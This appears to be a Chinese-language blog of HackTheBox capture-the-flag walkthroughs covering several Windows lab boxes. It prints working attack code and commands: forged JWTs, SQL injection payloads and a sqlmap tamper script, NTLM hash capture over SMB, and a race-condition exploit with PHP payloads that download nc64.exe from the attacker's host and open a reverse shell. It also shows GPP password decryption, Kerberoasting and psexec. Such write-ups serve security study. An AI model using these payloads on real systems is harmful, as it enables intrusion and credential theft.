$errors['passwordConf'] = "Passwords don't match!";
}

$userQuery = "SELECT * FROM users WHERE username=? LIMIT 1";
$stmt = $con->prepare($userQuery);
$stmt ->bind_param('s',$username);
$stmt->execute();
$result = $stmt->get_result();
$userCount = $result->num_rows;
$stmt->close();

if($userCount > 0){
$errors['username'] = "Username already exists";
}

if(count($errors) === 0){
$password = sha1($password);
$sql = "INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')";
$stmt = $con->prepare($sql);
$stmt ->bind_param('ss', $username, $password);

if ($stmt->execute()){
$user_id = $con->insert_id;
header('Location: login.php');
}
else{
$_SESSION['loggedIn'] = false;
$errors['db_error']="Database error: failed to register";
}
}
}
}
  • /portal/cookie.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/**
* @param string $username Username requesting session cookie
*
* @return string $session_cookie Returns the generated cookie
*
* @devteam
* Please DO NOT use default PHPSESSID; our security team says they are predictable.
* CHANGE SECOND PART OF MD5 KEY EVERY WEEK
* */
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528.\/9890";
$session_cookie = $username.md5($key);

return $session_cookie;
}
  • /portal/includes/fileController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;
session_start();

function validate(){
$ret = false;
$jwt = $_COOKIE['token'];

$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$ret = JWT::decode($jwt, $secret_key, array('HS256'));
return $ret;
}

if($_SERVER['REQUEST_METHOD'] === "POST"){
$admins = array("paul");
$user = validate()->data->username;
if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
error_reporting(E_ALL & ~E_NOTICE);
$uploads_dir = '../uploads';
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_POST['task'];

if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
$ret = "Success. Have a great weekend!";
}
else{
$ret = "Missing file or title :(" ;
}
}
else{
$ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
}

echo $ret;
}
  • /portal/php/files.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
header("Location: ../index.php");
}
if(isset($_SESSION['loggedIn'])){
$LOGGED_IN = true;
require '../db/db.php';
}
else{
header("Location: ../auth/login.php");
die();
}
?>

而且files.php存在一个上传功能
以理一下攻击链

  • fileController.php上传文件
  • 要求得到paul的身份
  • 生成PHPSESSIDJWT

对于JWT

我们已经得到了签名密钥

1
2
3
4
5
6
#!/usr/bin/env python2
import jwt
token_dict = {"data":{"username":"paul"}}
headers = {"typ":"JWT", "alg":"HS256"}
jwt_token = jwt.encode(token_dict, "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e", algorithm="HS256", headers=headers).decode('ascii')
print(jwt_token)
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI

对于PHPSESSID

1
2
3
4
5
6
7
8
9
10
<?php
$num = array(0, 1, 2, 3);
$username = "paul";
foreach($num as $a)
{
$key = "s4lTy_stR1nG_".$username[$a]."(!528./9890";
$session_cookie = $username.md5($key);
echo $session_cookie."\n";
}
?>
1
2
3
4
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390

最后得到的Cookie为

1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI; PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390

上传ZIP时修改文件名和文件内容即可GetShell

权限提升

1
type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\juliette.json
1
2
3
4
5
6
7
8
9
10
11
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}

使用凭证juliette:jUli901./())!登入ssh服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
type C:\Users\juliette\Desktop\user.txt
c5d9d568c5fc21e0dc0c5819d16aad9f

type C:\Users\juliette\Desktop\todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>

</html>

寻找密码存储文件

1
2
3
4
5
dir C:\Users\juliette\Documents

11/29/2020 04:10 AM 4,096 plum.sqlite
01/15/2021 05:10 PM 32,768 plum.sqlite-shm
01/15/2021 05:10 PM 329,632 plum.sqlite-wal

复制到本地使用sqlite访问

1
2
3
4
5
6
7
8
sqlite3 plum.sqlite 
sqlite> .tables
Media Stroke SyncState User
Note StrokeMetadata UpgradedNote
sqlite> select * from Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|1|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122

得到凭证development:fN3)sN5Ee@g

登入ssh服务

1
2
3
dir c:\Development

11/29/2020 04:11 AM 18,312 Krypter_Linux

IDA反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rbx
__int64 v4; // rax
char v6[44]; // [rsp+10h] [rbp-50h] BYREF
int v7; // [rsp+3Ch] [rbp-24h]
__int64 v8; // [rsp+40h] [rbp-20h]
int i; // [rsp+48h] [rbp-18h]
int v10; // [rsp+4Ch] [rbp-14h]

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v6, argv, envp);
v8 = curl_easy_init();
puts(
"Krypter V1.2\n"
"\n"
"New project by Juliette.\n"
"New features added weekly!\n"
"What to expect next update:\n"
"\t- Windows version with GUI support\n"
"\t- Get password from cloud and AUTOMATICALLY decrypt!\n"
"***\n");
if ( argc == 2 )
{
v10 = 0;
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(argv[1]) )
break;
v10 += argv[1][i];
}
if ( v10 == 1601 )
{
if ( v8 )
{
puts("Requesting decryption key from cloud...\nAccount: Administrator");
curl_easy_setopt(v8, 10002LL, (__int64)"http://passmanager.htb:1234/index.php");
curl_easy_setopt(v8, 10015LL, (__int64)"method=select&username=administrator&table=passwords");
curl_easy_setopt(v8, 20011LL, (__int64)WriteCallback);
curl_easy_setopt(v8, 10001LL, (__int64)v6);
v7 = curl_easy_perform(v8);
curl_easy_cleanup(v8);
puts("Server response:\n\n");
v4 = std::operator<<<char>(&std::cout, v6);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
}
else
{
puts("Incorrect master key");
}
}
else
{
puts("No key supplied.\nUSAGE:\n\nKrypter <key>");
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v6);
return 0;
}
1
2
3
netstat -ant

TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING InHost

用程序中的URL访问

1
2
3
4
5
6
7
8
9
curl "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"

selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}

得到AES_KEY

尝试SQL注入

1
2
3
4
5
6
7
8
curl "http://127.0.0.1:1234/index.php?method=select&username='+or+1%23&table=passwords"
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
  • 手工注入
1
2
3
4
5
6
curl "http://127.0.0.1:1234/index.php?method=select&username='+or+1%23&table=passwords"
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+1%23&table=passwords"
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+database()%23&table=passwords"
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='bread'%23&table=passwords"
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='passwords'%23&table=passwords"
curl "http://127.0.0.1:1234/index.php?method=select&username='+union+select+group_concat(password)+from+bread.passwords%23&table=passwords"

得到H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=

  • SSH端口映射跑SQLMap
1
2
ssh -f -N -L 1234:127.0.0.1:1234 development@10.10.10.228
sqlmap -u "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"

sqlmap的步骤就懒得写了

解密

1
2
3
4
5
6
7
8
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
iv = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
cipher = base64.b64decode("H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=")
_aes = AES.new(b"k19D193j.<19391(", AES.MODE_CBC, iv)
plain = _aes.decrypt(cipher)
print(plain)

得到凭证administrator:p@ssw0rd!@#$9890./

登入SSH服务

1
2
type c:\Users\Administrator\Desktop\root.txt
c04f72045d76a74c63a602f199a79ecd

挺综合的一台机器


HackTheBox_Proper

端口扫描

1
2
3
4
5
6
7
8
nmap -sV -sT -Pn 10.10.10.231

Nmap scan report for 10.10.10.231
Host is up (0.081s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

路径扫描

1
2
3
---- Scanning URL: http://10.10.10.231/ ----
==> DIRECTORY: http://10.10.10.231/assets/
==> DIRECTORY: http://10.10.10.231/licenses/

漏洞利用

浏览主页源码看到

1
2
3
4
5
6
7
<script type="text/javascript">
$(document).ready(function(){
'use strict';
jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
$( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});
});
</script>
1
curl http://10.10.10.231/products-ajax.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
// [8] Undefined index: order On line 6 in file C:\inetpub\wwwroot\products-ajax.php
define('SECURE_PARAM_SALT','hie0shah6ooNoim');
include('functions.php');
include('db-config.php');
if ( !$_GET['order'] || !$_GET['h'] ) {
// Set the response code to 500
http_response_code(500);
// and die(). Someone fiddled with the parameters.
die('Parameter missing or malformed.');
}
?>

测试得到以下算法

Hash = md5(Salt+Payload)

SQLMap tamper

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import os
import string
import hashlib
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY

def tamper(payload, **kwargs):
salt = b"hie0shah6ooNoim"
h = hashlib.md5(salt + payload.encode()).hexdigest()
retVal = "{}&h={}".format(payload, h)
return retVal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py --dbs --batch --skip-urlencode
available databases [3]:
[*] cleaner
[*] information_schema
[*] test

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py -D cleaner --tables --batch --skip-urlencode
Database: cleaner
[3 tables]
+-----------+
| customers |
| licenses |
| products |
+-----------+

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py -D cleaner -T licenses --columns --batch --skip-urlencode
Database: cleaner
Table: licenses
[4 columns]
+-------------+-------------+
| Column | Type |
+-------------+-------------+
| customer_id | int(11) |
| id | int(11) |
| license | varchar(50) |
| product_id | int(11) |
+-------------+-------------+

proxychains sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py -D cleaner -T licenses -D customer_id,id,license,product_id --dump --batch --skip-urlencode
Database: cleaner
Table: licenses
[18 entries]
+-------------+----+--------------------------------------+------------+
| customer_id | id | license | product_id |
+-------------+----+--------------------------------------+------------+
| 4 | 1 | 7d4cdf91-119b-414d-b16b-7cb841b2c182 | 4 |
| 17 | 2 | e7b59b20-8c70-48b0-91da-58bf354b18d5 | 8 |
| 17 | 3 | 3ea26f9c-f7c8-428f-a613-f4c66f08d0b9 | 6 |
| 17 | 4 | 372b02bd-8730-4bc6-a6fb-8cf9726f797b | 4 |
| 15 | 5 | 75ab3363-43d4-4e6b-903a-9d36919b36be | 8 |
| 16 | 6 | 139aff78-770c-4c59-9aef-32c4c65e68b3 | 4 |
| 22 | 7 | bdf82583-9f1a-42a3-b892-4b569e77f4c9 | 2 |
| 11 | 8 | d7da6b56-6f8c-4a26-85cc-c80860f3021a | 8 |
| 21 | 9 | 2ca03799-bd0d-4baa-a163-eb2a3b143f22 | 4 |
| 7 | 10 | 0a65e4e4-f1c7-4452-9bf0-02f4d6c35410 | 4 |
| 7 | 11 | 2e14ce43-8e85-43d7-b9ae-ab2c2ff64bf8 | 4 |
| 15 | 12 | 873f8add-2f3c-4da2-9164-649f55c1d329 | 4 |
| 2 | 13 | c63524b6-6346-4a34-b5c3-a3fe46593df1 | 4 |
| 25 | 14 | ad228131-518a-4527-8a1c-46d0723b691d | 2 |
| 1 | 15 | 4fa6a5cd-2081-4222-9b46-6c58df72bcfd | 8 |
| 1 | 16 | 183a7e47-e3cf-46f9-80fa-acb63590cc1c | 2 |
| 9 | 17 | 49dea5ef-3f7f-4790-9b94-b6bf29f5f893 | 2 |
| 4 | 18 | 41e5be3a-20fc-47b2-9dcc-c05def688cdb | 6 |
+-------------+----+--------------------------------------+------------+

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py -D cleaner -T customers --columns --batch --skip-urlencode
Database: cleaner
Table: customers
[4 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| customer_name | varchar(50) |
| id | int(11) |
| login | varchar(255) |
| password | varchar(255) |
+---------------+--------------+

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --tamper=tamp.py -D cleaner -T customers -C customer_name,id,login,password --dump --batch --skip-urlencode
Database: cleaner
Table: customers
[11 entries]
+---------------------+----+------------------------------+----------------------------------+
| customer_name | id | login | password |
+---------------------+----+------------------------------+----------------------------------+
| Vikki Solomon | 1 | vikki.solomon@throwaway.mail | 7c6a180b36896a0a8c02787eeafb0e4c |
| Neave Stone | 2 | nstone@trashbin.mail | 6cb75f652a9b52798eb6cf2201057c73 |
| Bertie McEachern | 3 | bmceachern7@discovery.moc | e10adc3949ba59abbe56e057f20f883e |
| Jordana Kleiser | 4 | jkleiser8@google.com.xy | 827ccb0eea8a706c4c34a16891f84e7b |
| Mariellen Chasemore | 5 | mchasemore9@sitemeter.moc | 25f9e794323b453885f5181f1b624d0b |
| Gwyneth Dornin | 6 | gdornina@marriott.moc | 5f4dcc3b5aa765d61d8327deb882cf99 |
| Israel Tootell | 7 | itootellb@forbes.moc | f25a2fc72690b780b2a14e140ef6a9e0 |
| Karon Mangham | 8 | kmanghamc@state.tx.su | 8afa847f50a716e64932d995c8e7435a |
| Janifer Blinde | 9 | jblinded@bing.moc | fcea920f7412b5da7be0cf42b8c93759 |
| Laurens Lenchenko | 10 | llenchenkoe@macromedia.moc | f806fc5a2a0d5ba2471600758452799c |
| Andreana Austin | 11 | aaustinf@booking.moc | 25d55ad283aa400af464c76d713c07ad |
+---------------------+----+------------------------------+----------------------------------+

MD5基本都是弱口令

随意用一个凭证登入

1
curl http://10.10.10.231/licenses/licenses.php?theme=&h=9094e65be4a9dc27cd4af70674a99c64
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// [2] include(/header.inc): failed to open stream: No such file or directory On line 36 in file C:\inetpub\wwwroot\functions.php
// Following function securely includes a file. Whenever we
// will encounter a PHP tag we will just bail out here.
function secure_include($file) {
if (strpos(file_get_contents($file),'<?') === false) {
include($file); //<<<<< Error encountered in this line.
} else {
http_response_code(403);
die('Forbidden - Tampering attempt detected.');
}
}
?>

尝试RFI

1
python3 -m http.server 9998
1
2
3
4
curl http://10.10.10.231/licenses/licenses.php?theme=http://10.10.16.7:9998/&h=c68113684a9e7ddca835d8f0235e2759

[2] include(): http:// wrapper is disabled in the server configuration by allow_url_include=0
On line 36 in file C:\inetpub\wwwroot\functions.php

不能使用http协议

1
2
python3 smbserver.py -ip 10.10.16.7 -smb2support evil .
curl http://10.10.10.231/licenses/licenses.php?theme=//10.10.16.7&h=b1a3d9ecf02d4854f3a730f8b2a9af5d
1
2
3
4
5
6
[*] Incoming connection (10.10.10.231,51174)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:956a52cc975ff5da7c40b3a88a2280cd:0101000000000000808cbaf62b60d701fee1b72b5916ee630000000001001000670049005600790046004b0055006a00020010005a004a006b004300690054006a00480003001000670049005600790046004b0055006a00040010005a004a006b004300690054006a00480007000800808cbaf62b60d70106000400020000000800300030000000000000000000000000200000df729e7896fc8038dada23bc657eaeb31358ef464f456b1fa869efec2d18cea10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0037000000000000000000
[*] Closing down connection (10.10.10.231,51174)
[*] Remaining connections []

拿到Hash

1
2
3
4
5
cat hash 
web::PROPER:aaaaaaaaaaaaaaaa:956a52cc975ff5da7c40b3a88a2280cd:0101000000000000808cbaf62b60d701fee1b72b5916ee630000000001001000670049005600790046004b0055006a00020010005a004a006b004300690054006a00480003001000670049005600790046004b0055006a00040010005a004a006b004300690054006a00480007000800808cbaf62b60d70106000400020000000800300030000000000000000000000000200000df729e7896fc8038dada23bc657eaeb31358ef464f456b1fa869efec2d18cea10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0037000000000000000000

john --wordlist=/usr/share/wordlists/rockyou.txt hash
charlotte123! (web)

得到凭证

1
web:charlotte123!

重启smb服务

1
python3 smbserver.py -ip 10.10.16.7 -username web -password charlotte123! -smb2support yolo .
1
2
if (strpos(file_get_contents($file),'<?') === false) { 
include($file); //<<<<< Error encountered in this line.

通过竞争修改本地文件内容来进行Bypass

1
2
3
4
5
6
#!/bin/bash
payload=$1
while((1))
do
echo "$payload" > header.inc
done

GetShell

1
<?php echo "hacked";system("cmd /c powershell iwr http://10.10.16.7:9995/nc64.exe -outf \windows\system32\spool\drivers\color\yolo.exe"); ?>
1
<?php echo "hacked";system("cmd /c start \windows\system32\spool\drivers\color\yolo.exe -e cmd 10.10.16.7 9990"); ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import requests
import random
import threading

def thd():
_ = 0
while _ < 100:
req = requests.session()
login_url = "http://10.10.10.231/licenses/index.php"
username = "vikki.solomon@throwaway.mail"
password = "password1"
data = {"username":username, "password":password}
res = req.post(url=login_url, data=data)
index_url = "http://10.10.10.231/licenses/licenses.php"
res = req.get(url=index_url)
payload_url = "http://10.10.10.231/licenses/licenses.php?theme=//10.10.16.7/yolo&h=05e45a8f5f58f601063e937929048fd7"
res = req.get(url=payload_url)
if "hacked" in res.text:
print(res.text)
logout_url = "http://10.10.10.231/licenses/logout.php"
res = req.get(url=logout_url)
_ += 1

poll = []
for i in range(0, 5):
single_thd = threading.Thread(target=thd)
poll.append(single_thd)
for n in poll:
n.start()
1
cmd /c powershell iwr http://10.10.16.7:9995/nc64.exe -outf \windows\system32\spool\drivers\color\nc64.exe

不行

1
cmd /c powershell iwr http://10.10.16.7:9995/nc64.exe -outf \windows\system32\spool\drivers\color\yolo.exe

不知道触发了什么奇怪的bug, 改个文件名就能写入了
家目录下就能写, 害隔着World-Writable呢

1
2
type c:\users\web\desktop\user.txt
540dbda93520798e554345539fe38988

权限提升

1
2
3
4
5
dir \"Program Files"\cleanup

11/15/2020 05:03 AM 2,999,808 client.exe
11/15/2020 10:22 AM 174 README.md
11/15/2020 06:20 AM 3,041,792 server.exe

FTP莫名其妙用不了

传文件只能曲线救国了

Apache2允许PUT但是不能直接上传文件

不过文件会进行流量传输

所以就监听流量然后还原文件

逆向没逆明白, 只能看Raid上的WP了

先做一个链接

1
mklink /j \users\web\downloads\yoloyolo \users\administrator\desktop

操控管道\\.\pipe\cleanuppipe

1
echo CLEAN \users\web\downloads\yoloyolo\root.txtx > \\.\pipe\cleanuppipe

此时Server.exe会通过管道的内容来运行程序, 会将程序加密并移动至\programdata\cleanup(这个程序应该是administrator运行的)

删掉链接, 创建文件夹, 再还原文件

1
2
3
4
5
6
rmdir \users\web\downloads\yoloyolo
mkdir \users\web\downloads\yoloyolo
echo RESTORE \users\web\downloads\yoloyolo\root.txtx > \\.\pipe\cleanuppipe
type \users\web\downloads\yoloyolo\root.txt

f2167014736b2934e9721962b525f674

这台机子的姿势太骚了

What a box.


HackTheBox_Active

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
nmap -sV -sT -Pn 10.10.10.100

Nmap scan report for 10.10.10.100
Host is up (0.59s latency).
Not shown: 982 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-04 09:21:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Service
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

开了53端口,基本确定是台DC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
enum4linux 10.10.10.100

==========================
| Target Information |
==========================
Target ........... 10.10.10.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

------

======================================
| OS information on 10.10.10.100 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.100 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.100 from srvinfo:
10.10.10.100 Wk Sv PDC Tim NT Domain Controller
platform_id : 500
os version : 6.1
server type : 0x80102b

------

=========================================
| Share Enumeration on 10.10.10.100 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
attacker_folder Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk

应该可以匿名登录

1
2
3
4
5
6
7
8
9
10
11
12
smbmap -H 10.10.10.100

Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
attacker_folder NO ACCESS
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS

下载整个文件夹

1
2
3
4
5
smbclient //10.10.10.100/Replication
mask ""
recurse ON
prompt OFF
mget active.htb

拿到GPP密文密码

1
2
3
4
5
cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

解密得到明文密码

1
2
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

这里本来以为是用evil-winrm或者psexecGetshell的,没想到是smb登入users

1
2
3
4
5
smbclient //10.10.10.100/Users -U active.htb/SVC_TGS%GPPstillStandingStrong2k18
get svc_tgs\desktop\user.txt

cat svc_tgs\\desktop\\user.txt
86d67d8ba232bb6a254aa4d10159e983

权限提升

Kerberoasting

1
python GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile getuserspns.out

(跑的时候出了个时间差过大的错误,头疼)
同步时间

1
ntpdate -u 10.10.10.100

爆破票据

1
2
3
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs getuserspns.out 

Ticketmaster1968 (?)

查看SMB路径权限

1
2
3
4
5
6
7
8
9
10
11
12
smbmap -H 10.10.10.100 -u administrator -p Ticketmaster1968

Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
attacker_folder READ, WRITE
C$ READ, WRITE Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ, WRITE Logon server share
Replication READ ONLY
SYSVOL READ, WRITE Logon server share
Users

有写权限,直接psexec

1
2
3
4
5
python psexec.py active.htb/administrator@10.10.10.100
Ticketmaster1968

type \users\administrator\desktop\root.txt
b5fc76d1d6b91d77b2fbf2d54d0f708b

HackTheBox_Bastion

端口扫描

1
2
3
4
5
6
7
8
9
10
11
nmap -sV -sT -Pn 10.10.10.134

Nmap scan report for 10.10.10.134
Host is up (0.59s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

HackTheBox_漏洞利用

smbmap扫描路径

1
2
3
4
5
6
7
smbmap -H 10.10.10.134 -u test
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Backups READ, WRITE
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC

可以看到有两个VHD文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
smbclient //10.10.10.134/backups

dir WindowsImageBackup\L4mpje-PC\"Backup 2019-02-22 124351"\
. Dn 0 Fri Feb 22 20:45:32 2019
.. Dn 0 Fri Feb 22 20:45:32 2019
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 20:44:03 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 20:45:32 2019
BackupSpecs.xml An 1186 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml An 1078 Fri Feb 22 20:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml An 8930 Fri Feb 22 20:45:32 2019
